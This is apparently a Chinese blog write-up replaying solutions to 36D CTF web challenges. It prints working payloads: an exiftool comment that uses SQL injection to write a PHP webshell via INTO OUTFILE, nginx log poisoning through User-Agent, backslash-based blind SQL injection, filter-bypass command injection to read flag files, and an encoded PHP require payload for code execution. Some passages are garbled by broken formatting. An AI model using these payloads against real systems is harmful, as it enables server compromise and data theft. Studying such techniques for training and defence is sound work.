赞
踩
因为5.1那天参加了协会内部的训练赛,没有去做36D的题目,赛后看了师傅们的WP跟着复现了一下,发现还是有很多要学习的地方
文件类型注入,exiftool工具的使用
一开始以为是文件上传,其实不是,是文件类型注入,通过修改图片的type来完成注入(这里用到了exiftool工具)
可以猜测语句是 insert into file values (“filename”,“filetype”,“fileextra”),没有作任何过滤,可以写一句话进去
一般写成16进制形式,避免语句本身的单引号双引号对拼接造成干扰
一开始我觉得直接写16进制能被识别吗,后来我本地测试了一下,写进去的16进制会自动被计算机识别出ASCII
怎么把这个语句写到图片属性里面呢?用到exiftool工具:
语法:
exiftool -overwrite_original -comment="y1ng\"');select 0x3C3F3D60245F504F53545B305D603B into outfile '/var/www/html/1.php';--+"
然后把7.jpg上传即可,接下来就是蚁剑get了。此题重点在找到注入点
动态拼接,特殊webshell, php代码反混淆
源代码是这样的
解法1 就是直接用P牛介绍的无字母马 传上去
解法2 利用到这个$hint 让eval把 h i n t 打 出 来 获 得 h h h . p h p 的 b a s e 64 编 码 后 的 代 码 , 主 要 就 是 怎 么 拼 接 hint打出来 获得hhh.php的base64编码后的代码,主要就是怎么拼接 hint打出来获得hhh.php的base64编码后的代码,主要就是怎么拼接hint
因为给了$_这个数组,我们利用它来拼接,数组中 { }可以替代 [ ] 。
然后得到了代码。但是代码是php混淆的,这里用到了反混淆工具 ,来拿到反混淆之后的代码。
使用说明:
剩下的就是getflag了
PHP浮点数精度问题、md5、弱类型、命令执行绕过
第一层是用到浮点数精度问题
example:
用到这个来绕过
第二层
找到一个 字符串 弱等于 两次md5加密之后的。 只能找到原本这个字符串带上0e,且两次md5后还是0e开头的,利用弱比较相等。
第三层
很多过滤,但是很容易绕
ca\t<f\ag.p\hp 空格绕过的方法有很多 这里可以用< 也利用到了斜杠
最后的payload: ?num=1000000000000000.00000000000000010&md5=0e1138100474&get_flag=ca\t<flag.ph\p
利用日志写入一句话木马、(日志包含)源代码泄露、linux查找命令。
这个点我还是第一次见(太菜了 , 记录一下
搜先F12 提示用 scanner 扫描器
然后找到index.php.bak 备份文件 读取源代码
很难直接猜到flag文件到底在哪,所以我觉得直接利用file拼接是很困难的。
先读取它的日志文件 all_info_u_want.php?file=…/…/…/…/…/var/log/nginx/access.log
/var/log/nginx/access.log 主要就是记录一下访问信息,user-agent的内容也会被记录到文件里面,那如果我们在user-agent里面写入 一句话 ,就可以蚁剑连接 getshell了 (这里用bp抓包之后 然后写,我的火狐插件似乎不是很好用)这个flag比较难找,用到了linux的这个命令,问题是 蚁剑连接上去的话,好像是没权限用这个命令的, 可以反弹shell,然后执行这个命令(因为没有自己的服务器,弹不了23333)要尽快搞一台服务器玩玩。
盲注、fuzz测试、\的利用 (吞引号
题目打开是这样的。应该就是要弄到admin的密码,然后登陆就行了,还给了语句
select * from 36d_user where username=‘ u n a m e ′ a n d p a s s w o r d = ′ uname' and password=' uname′andpassword=′passwd’;
简单试了一下万能密码,被ban了,然后fuzz测试一下,过滤了哪些字符
fuzz测试步骤 这里简单说一下:先用bp抓个包,然后 用 intruder模块。
然后就可以start attack了
可以根据回显的长度来判断哪些被ban了。很多被ban了
比如空格 双引号 单引号 分号 ascii等等
select * from 36d_user where username=‘ u n a m e ′ a n d p a s s w o r d = ′ uname' and password=' uname′andpassword=′passwd’;
结合这个语句,这里可以用到 \ 来吞掉$uname后面的‘ 语句就变成
select * from 36d_user where username=‘xxxx ’ and password=’$passwd’;
红色框框整题的值就成username了,然后xxxxx可以是我们可控的SQL注入语句 ,if /**/ regexp ^ or # sleep()都没被ban 掉
最后的脚本:
binary 可以不区分大小写,^ 是开头匹配
跑成这样 我估计是网络问题 ,毕竟我用的timeout来作为条件,有时候网路会有些延迟把。密码最后还是跑出来了。
登陆即可。
代码审计、爆破、fuzz、RCE
F12审计元素,发现两个提示
通过?view_source参数拿到第一层的源码
审计一下,先判断cookie的secret值是不是为空,如果为空,则setcookie,不为空,则为 j s o n 变 量 赋 值 。 然 后 把 json变量赋值。然后把 json变量赋值。然后把json变量扔到checkCookie()函数,这个函数主要是对格式要求做一些检查,如果符合,就返回True。然后三目运算,把 j s o n 变 量 d e c o d e 之 后 , 赋 值 给 json变量decode之后,赋值给 json变量decode之后,赋值给obj,然后在判断$obj[‘secret’] 是否等于 $flag_md5,如果等于,就把shell路径告诉我们。
havefun()函数,主要是把
f
l
a
g
m
d
5
加
密
之
后
,
每
一
位
与
0
x
C
0
作
逻
辑
与
运
算
,
这
里
我
们
其
实
可
以
反
推
flag md5加密之后,每一位 与 0xC0 作 逻辑与运算,这里我们其实可以反推
flagmd5加密之后,每一位与0xC0作逻辑与运算,这里我们其实可以反推flag_md5每一位的类型的,看了ASCII码表之后我们知道,如果是字母,与 0xC0 作与运算 结果是64 ,如果是数字,与0xC0 作与运算 得出结果为0。我们只能根据回显来判断$flag_md5 每一位的类型(是数字还是字母)但无法得出具体的值,所以只能用到弱类型比较,来绕过去。所以先来看一下回显:
前三位是0,所以$flag md5加密后,前三位肯定是数字,后面是字母,所以我们只要保证 cookie的secret值 前三位数字和这个一样就OK了,所以我们需要伪造JSON,burpsute抓个包看一下:
注意这里的secret值是 字符串类型 而不是 int类型 ,我们要构造的是 int类型 因为 “115” != “115DSFASFF” 而 115 == “115DSFASFF” 。
然后用burpsute 爆破一下
然后在115这里就爆破出来了,给了第二层的shell
结合前面的 flag in /flag.txt 我们的目的肯定是想读它,但是有waf,这里需要fuzz一下,过滤了哪些
发现过滤了很多,括号给ban了,很多函数都用不了了,分号 引号 空格 也被过滤了。
但是,取反~ 和 require没被过滤掉,require是不需要括号的,我们可以想办法包含/flag.txt 。
再就是解决分号的问题了, 我们可以利用php短标签 和单行模式
只有一行代码 不需要; 分号说白了就是把语句隔开的。
注意到eval语句里面有SESSION,所以先想办法逃逸出来,最后构造的payload:
?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>
1后面的?> 用来闭合开始<?php ,<?= 和 ?>形成单行模式 等效于 echo require
本地测试如下:
然后读到flag.txt的内容 , 告诉我们 flag在 /flag里面,同理 在构造一下,读 /flag。
没有去打这个很遗憾,不过打了估计也是被吊锤,还是学了很多新东西(对我来说)未来的路很长,多就是少,少就是多。
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。